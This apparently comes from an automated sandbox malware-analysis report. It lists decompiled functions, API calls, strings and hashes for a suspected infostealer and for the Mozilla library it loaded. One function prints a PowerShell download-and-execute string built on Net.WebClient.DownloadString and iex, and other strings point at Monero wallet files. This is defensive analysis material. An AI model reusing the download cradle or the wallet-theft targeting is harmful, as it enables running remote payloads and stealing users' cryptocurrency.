Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 003392E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:3,80000000,00000003,00000000,00000003,00000080,00000000,?,00333AEE,?), ref: 003392FC
GetFileSizeEx.KERNEL32(000000FF,:3), ref: 00339319
CloseHandle.KERNEL32(000000FF), ref: 00339327

Strings

:3, xrefs: 00339311, 0033933D, 00339314
:3, xrefs: 003392F8, 003392FB

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :3$:3
API String ID: 1378416451-2957867591
Opcode ID: 4653f0f3955070e16d41d061285699f9c2aee29a36e0234600b2760fa178cf3b
Instruction ID: 4e5b990b781cda50d991b6537404b4272a3909682588a427b482efd3682ed003
Opcode Fuzzy Hash: 4653f0f3955070e16d41d061285699f9c2aee29a36e0234600b2760fa178cf3b
Instruction Fuzzy Hash: BEF08C78E00208FBDB20DBB4DC88B9E77B9EB58320F108254F611A72C0E6B096009F41

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 00332C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

ShellExecuteEx.SHELL32(0000003C), ref: 00332D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00332D04
')", xrefs: 00332CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00332CC4
<, xrefs: 00332D39

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 81c75ad959495d2ff31616ae5a71e73f44759a1bd20c7f7326e264794e4b8212
Instruction ID: a1c6eed00aa33b1c83be493c3f1012d84f66ac6126b5ca623d61e1f83f579cf2
Opcode Fuzzy Hash: 81c75ad959495d2ff31616ae5a71e73f44759a1bd20c7f7326e264794e4b8212
Instruction Fuzzy Hash: 6441AF71D10608AADB1AEFA0C8D2BDDBB74AF14300F504119F156BF191DF746A8ADF92

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 00329E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00329F41

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00329E67
v20, xrefs: 00329E21
@, xrefs: 00329EF1
v10, xrefs: 00329EA3

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5de21382338c811ab21ed773b87f9daf4f460c43eb68f658f93705be30072710
Instruction ID: cecebacd5fc53b0d50632a1a10e113c44bafd8ca3066d8e2853c2d3b93e36637
Opcode Fuzzy Hash: 5de21382338c811ab21ed773b87f9daf4f460c43eb68f658f93705be30072710
Instruction Fuzzy Hash: 02616E31A10618EBDB25EFA4DDD6FED77B9AF44300F008018F94A5F191EB746A46CB92

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
